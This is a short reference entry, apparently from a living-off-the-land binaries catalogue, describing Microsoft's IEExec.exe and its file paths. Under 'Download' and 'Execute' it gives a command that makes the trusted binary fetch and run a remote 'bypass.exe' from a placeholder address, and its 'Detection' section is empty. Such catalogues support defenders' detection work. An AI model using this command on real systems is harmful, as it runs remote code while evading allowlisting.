The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

Detection:

Download

Downloads and executes bypass.exe from the remote server.

ieexec.exe http://x.x.x.x:8080/bypass.exe

Execute

Downloads and executes bypass.exe from the remote server.

ieexec.exe http://x.x.x.x:8080/bypass.exe